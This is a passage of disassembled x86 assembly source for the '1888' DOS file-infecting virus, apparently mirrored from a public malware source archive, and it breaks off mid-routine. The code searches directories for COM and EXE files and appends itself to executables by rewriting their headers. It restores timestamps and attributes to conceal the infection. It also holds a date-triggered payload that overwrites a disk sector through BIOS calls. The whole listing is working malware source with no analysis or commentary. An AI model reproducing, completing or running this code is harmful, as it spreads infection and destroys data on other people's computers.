mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
1924 lines
47 KiB
NASM
1924 lines
47 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ 1888 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 28-Jul-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
d_0040_001C_e equ 1Ch
|
|
d_0040_004A_e equ 4Ah
|
|
d_8B38_0003_e equ 3 ;*
|
|
data_0012_e equ 12h
|
|
data_0016_e equ 16h
|
|
data_00A3_e equ 0A3h
|
|
data_00A7_e equ 0A7h
|
|
data_00A9_e equ 0A9h
|
|
data_00AB_e equ 0ABh
|
|
data_00AF_e equ 0AFh
|
|
data_00B3_e equ 0B3h
|
|
data_00B5_e equ 0B5h
|
|
d_9E01_0000_e equ 0 ;*
|
|
d_9E01_0002_e equ 2 ;*
|
|
d_9E01_0004_e equ 4 ;*
|
|
d_9E01_0008_e equ 8 ;*
|
|
d_9E01_0014_e equ 14h ;*
|
|
d_9E01_0016_e equ 16h ;*
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
1888 proc far
|
|
|
|
start:
|
|
jmp loc_0767
|
|
data_0103 db 20h
|
|
data_0104 dw 86C0h
|
|
data_0106 dw 18FCh
|
|
data_0108 dw 762h
|
|
data_010A dw 0
|
|
data_010C db '1888.COM', 0
|
|
db 00h, 00h, 00h,0A6h
|
|
data_0119 dw 25h
|
|
data_011B db 1
|
|
data_011C dw 760h
|
|
data_011E db 0
|
|
data_011F db 0
|
|
data_0120 dw 762h
|
|
data_0122 dw 760h
|
|
data_0124 dw 0FFFEh
|
|
data_0126 dw 5369h ; Data table (indexed access)
|
|
data_0128 dw 5369h
|
|
data_012A dw 4C97h
|
|
data_012C dd 9E010000h
|
|
data_0130 dw 7C8h
|
|
data_0132 db 8
|
|
data_0133 db 10h
|
|
data_0134 db 0
|
|
data_0135 db 10h
|
|
db 0, 0, 0, 0
|
|
data_013A db '\DANGER\1888'
|
|
db 20 dup (0)
|
|
data_015A db 'C:\', 0
|
|
db '*', 0
|
|
db 'NETWARE', 0
|
|
db 'LMS', 0
|
|
db 'MAUS', 0
|
|
db 'MDB', 0
|
|
db 'DOS', 0
|
|
db 'BASE', 0
|
|
db 'L', 0
|
|
data_0180 dw 160h
|
|
data_0182 db 0
|
|
data_0183 db 1
|
|
db 14h, 17h, 6Eh, 00h, 01h,0A9h
|
|
db 00h, 01h,0BFh
|
|
db 38h
|
|
data_018E db 2Ah
|
|
db 2Eh, 65h, 78h, 65h, 00h
|
|
data_0194 db 2Ah
|
|
db 2Eh, 63h, 6Fh, 6Dh, 00h
|
|
data_019A db 0
|
|
data_019B db 0
|
|
data_019C db 0
|
|
data_019D db 4
|
|
db 3Fh
|
|
db 7 dup (3Fh)
|
|
db 43h, 4Fh, 4Dh, 23h, 04h, 00h
|
|
db 0F3h, 31h, 0Dh, 4Dh, 18h, 68h
|
|
db 20h,0C0h, 86h,0FCh, 18h, 62h
|
|
db 07h, 00h, 00h
|
|
db '1888.COM'
|
|
db 00h, 00h, 00h, 00h,0A6h,0EAh
|
|
db 0AAh, 03h, 00h,0CCh,0AAh, 03h
|
|
db 60h, 07h, 00h, 40h, 05h, 00h
|
|
db 60h, 07h, 00h, 01h,0C8h, 01h
|
|
db 19h, 01h, 00h, 00h, 69h, 53h
|
|
db 69h, 53h, 61h, 06h, 9Dh, 04h
|
|
db 16h, 32h, 21h, 00h, 7Bh, 1Ah
|
|
db 12h, 32h,0ADh, 04h, 69h, 53h
|
|
db 12h, 32h,0DEh, 07h
|
|
|
|
1888 endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_01F7 proc near
|
|
cmp data_011C,0
|
|
jne loc_0207 ; Jump if not equal
|
|
mov ax,760h
|
|
mov data_011C,ax
|
|
mov data_0120,ax
|
|
loc_0207:
|
|
mov al,data_011E
|
|
mov data_011F,al
|
|
mov ax,data_0120
|
|
mov data_0122,ax
|
|
inc data_0119
|
|
mov data_019C,0
|
|
mov data_019A,0
|
|
mov data_019B,0
|
|
retn
|
|
sub_01F7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0227 proc near
|
|
lea dx,data_0183 ; Load effective addr
|
|
xor al,al ; Zero register
|
|
mov ah,3Dh ; '='
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jc loc_ret_0239 ; Jump if carry Set
|
|
mov bx,ax
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
|
|
loc_ret_0239:
|
|
retn
|
|
sub_0227 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_023A proc near
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dh=month
|
|
; dl=day, al=day-of-week 0=SUN
|
|
mov ah,dh
|
|
cmp cx,data_0130
|
|
je loc_0249 ; Jump if equal
|
|
add ah,0Ch
|
|
loc_0249:
|
|
sub ah,data_0132
|
|
mov data_011B,ah
|
|
mov data_0134,al
|
|
mov data_0133,dl
|
|
mov data_0132,dh
|
|
mov data_0130,cx
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dx=sec
|
|
mov data_0135,ch
|
|
retn
|
|
sub_023A endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0269 proc near
|
|
mov ax,es
|
|
dec ax
|
|
push es
|
|
mov es,ax
|
|
mov ax,es:d_8B38_0003_e
|
|
mov data_012A,ax
|
|
pop es
|
|
mov bx,ax
|
|
sub bx,200h
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change memory allocation
|
|
; bx=bytes/16, es=mem segment
|
|
mov bx,150h
|
|
mov ah,48h ; 'H'
|
|
int 21h ; DOS Services ah=function 48h
|
|
; allocate memory, bx=bytes/16
|
|
mov word ptr data_012C+2,ax
|
|
retn
|
|
sub_0269 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_028C proc near
|
|
push es
|
|
mov ax,word ptr data_012C+2
|
|
mov es,ax
|
|
mov ah,49h ; 'I'
|
|
int 21h ; DOS Services ah=function 49h
|
|
; release memory block, es=seg
|
|
mov ax,data_0128
|
|
mov es,ax
|
|
mov bx,data_012A
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change memory allocation
|
|
; bx=bytes/16, es=mem segment
|
|
pop es
|
|
retn
|
|
sub_028C endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_02A5 proc near
|
|
push ds
|
|
mov ah,1Bh
|
|
int 21h ; DOS Services ah=function 1Bh
|
|
; get disk info, default drive
|
|
; al=sectors per cluster
|
|
; ds:bx=ptr to media ID byte
|
|
; cx=sector size, dx=clusters
|
|
cmp byte ptr [bx],0F8h
|
|
pop ds
|
|
retn
|
|
sub_02A5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_02AF proc near
|
|
lea si,data_019D ; Load effective addr
|
|
mov di,si
|
|
xor dl,dl ; Zero register
|
|
mov ah,47h ; 'G'
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
; ds:si=ASCIIZ directory name
|
|
mov cx,30h
|
|
mov al,0
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov cx,di
|
|
sub cx,si
|
|
lea di,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov al,5Ch ; '\'
|
|
stosb ; Store al to es:[di]
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_02AF endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_02D0 proc near
|
|
mov data_0182,0
|
|
lea bx,cs:[160h] ; Load effective addr
|
|
add bx,20h
|
|
mov data_0180,bx
|
|
sub bx,20h
|
|
lea dx,data_015A+4 ; ('*') Load effective addr
|
|
mov cx,33h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_031F ; Jump if carry Set
|
|
loc_02F0:
|
|
lea di,data_019D ; Load effective addr
|
|
add di,1Eh
|
|
cmp byte ptr [di],2Eh ; '.'
|
|
je loc_0319 ; Jump if equal
|
|
mov si,di
|
|
mov cx,20h
|
|
mov al,0
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov cx,di
|
|
sub cx,si
|
|
mov di,bx
|
|
add bx,cx
|
|
cmp bx,data_0180
|
|
ja loc_031F ; Jump if above
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
inc data_0182
|
|
loc_0319:
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_02F0 ; Jump if carry=0
|
|
loc_031F:
|
|
lea bx,cs:[160h] ; Load effective addr
|
|
mov data_0180,bx
|
|
retn
|
|
sub_02D0 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0328 proc near
|
|
cmp data_0182,0
|
|
je loc_ret_034C ; Jump if equal
|
|
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov dx,data_0180
|
|
mov di,dx
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov al,0
|
|
mov cx,20h
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov data_0180,di
|
|
|
|
loc_ret_034C:
|
|
retn
|
|
sub_0328 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_034D proc near
|
|
mov ax,data_0104
|
|
and al,1Fh
|
|
cmp al,1Eh
|
|
retn
|
|
sub_034D endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0355 proc near
|
|
lea dx,data_0194 ; Load effective addr
|
|
cmp data_011E,0
|
|
je loc_0364 ; Jump if equal
|
|
lea dx,data_018E ; Load effective addr
|
|
loc_0364:
|
|
mov cx,23h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
retn
|
|
sub_0355 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_036C proc near
|
|
lea si,data_019D ; Load effective addr
|
|
add si,15h
|
|
lea di,data_0103 ; Load effective addr
|
|
mov cx,16h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_036C endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_037D proc near
|
|
pushf ; Push flags
|
|
mov cx,data_0104
|
|
or cl,1Fh
|
|
and cl,0FEh
|
|
mov dx,data_0106
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
lea dx,data_010C ; ('1888.COM') Load effective addr
|
|
xor ch,ch ; Zero register
|
|
mov cl,data_0103
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
popf ; Pop flags
|
|
retn
|
|
sub_037D endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_03A6 proc near
|
|
lea dx,data_010C ; ('1888.COM') Load effective addr
|
|
xor cx,cx ; Zero register
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
jc loc_ret_03BA ; Jump if carry Set
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
|
|
loc_ret_03BA:
|
|
retn
|
|
sub_03A6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_03BB proc near
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
mov cx,100h
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
cmp word ptr ds:d_9E01_0000_e,5A4Dh
|
|
nop ;*ASM fixup - sign extn byte
|
|
je loc_03D6 ; Jump if equal
|
|
stc ; Set carry flag
|
|
jmp loc_0455
|
|
loc_03D6:
|
|
call sub_0457
|
|
push ax
|
|
mov ax,di
|
|
and ax,0Fh
|
|
mov cx,10h
|
|
xor dx,dx ; Zero register
|
|
sub cx,ax
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
jnc loc_03EF ; Jump if carry=0
|
|
jmp short loc_0455
|
|
db 90h
|
|
loc_03EF:
|
|
mov si,ax
|
|
mov cx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
jc loc_0455 ; Jump if carry Set
|
|
pop dx
|
|
mov ax,di
|
|
add ax,si
|
|
add ax,100h
|
|
cmp ax,200h
|
|
jb loc_040B ; Jump if below
|
|
and ax,1FFh
|
|
inc dx
|
|
loc_040B:
|
|
mov cl,4
|
|
shr ax,cl ; Shift w/zeros fill
|
|
dec dx
|
|
mov cl,5
|
|
shl dx,cl ; Shift w/zeros fill
|
|
sub dx,ds:d_9E01_0008_e
|
|
add ax,dx
|
|
sub ax,10h
|
|
mov ds:d_9E01_0016_e,ax
|
|
mov word ptr ds:d_9E01_0014_e,100h
|
|
push ds
|
|
mov ax,cs
|
|
mov ds,ax
|
|
mov cx,data_011C
|
|
mov dx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
pop ds
|
|
jc loc_0455 ; Jump if carry Set
|
|
call sub_0457
|
|
mov ds:d_9E01_0002_e,di
|
|
mov ds:d_9E01_0004_e,ax
|
|
mov ax,4200h
|
|
xor dx,dx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_0455 ; Jump if carry Set
|
|
mov cx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_0455:
|
|
pop ds
|
|
retn
|
|
sub_03BB endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0457 proc near
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
mov di,ax
|
|
and di,1FFh
|
|
mov cl,9
|
|
shr ax,cl ; Shift w/zeros fill
|
|
mov cl,7
|
|
shl dx,cl ; Shift w/zeros fill
|
|
add ax,dx
|
|
inc ax
|
|
retn
|
|
sub_0457 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0472 proc near
|
|
mov ax,data_0108
|
|
mov data_0120,ax
|
|
mov cx,data_011C
|
|
cmp cx,ax
|
|
jb loc_0488 ; Jump if below
|
|
mov data_0120,cx
|
|
mov cx,data_0108
|
|
loc_0488:
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
pop ds
|
|
jc loc_ret_04DD ; Jump if carry Set
|
|
mov ax,4200h
|
|
xor dx,dx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_ret_04DD ; Jump if carry Set
|
|
mov dx,100h
|
|
mov cx,data_011C
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
int 3 ; Debug breakpoint
|
|
cmp ax,cs:data_0108
|
|
ja loc_04CC ; Jump if above
|
|
mov ax,4200h
|
|
mov dx,data_0108
|
|
mov data_0120,dx
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_ret_04DD ; Jump if carry Set
|
|
mov cx,data_011C
|
|
jmp short loc_04D0
|
|
loc_04CC:
|
|
mov cx,data_0108
|
|
loc_04D0:
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
pop ds
|
|
|
|
loc_ret_04DD:
|
|
retn
|
|
sub_0472 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_04DE proc near
|
|
cmp data_011B,2
|
|
ja loc_04E8 ; Jump if above
|
|
xor ax,ax ; Zero register
|
|
retn
|
|
loc_04E8:
|
|
mov al,data_0133
|
|
and al,1
|
|
retn
|
|
sub_04DE endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_04EE proc near
|
|
cmp data_0133,0Fh
|
|
jb loc_0507 ; Jump if below
|
|
mov al,data_0135
|
|
cmp al,13h
|
|
jb loc_0507 ; Jump if below
|
|
mov ax,40h
|
|
mov es,ax
|
|
mov byte ptr es:d_0040_004A_e,23h ; '#'
|
|
loc_0507:
|
|
cmp data_0133,0Dh
|
|
jne loc_ret_0524 ; Jump if not equal
|
|
cmp data_0134,5
|
|
jne loc_ret_0524 ; Jump if not equal
|
|
mov ax,301h
|
|
mov cx,1
|
|
mov dx,50h
|
|
xor bx,bx ; Zero register
|
|
mov es,bx
|
|
int 13h ; Disk dl=drive ? ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
|
|
loc_ret_0524:
|
|
retn
|
|
sub_04EE endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0525 proc near
|
|
mov data_019B,1
|
|
lea dx,data_05C1 ; Load effective addr
|
|
mov cx,27h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jnc loc_0564 ; Jump if carry=0
|
|
mov ah,3Ch ; '<'
|
|
mov cx,6
|
|
int 21h ; DOS Services ah=function 3Ch
|
|
; create/truncate file @ ds:dx
|
|
mov bx,ax
|
|
lea dx,data_05EE ; Load effective addr
|
|
mov cx,data_070A
|
|
mov si,dx
|
|
add si,data_00B3_e
|
|
mov ax,data_0130
|
|
mov [si],ax
|
|
mov ah,data_0132
|
|
mov [si+2],ah
|
|
mov ah,40h ; '@'
|
|
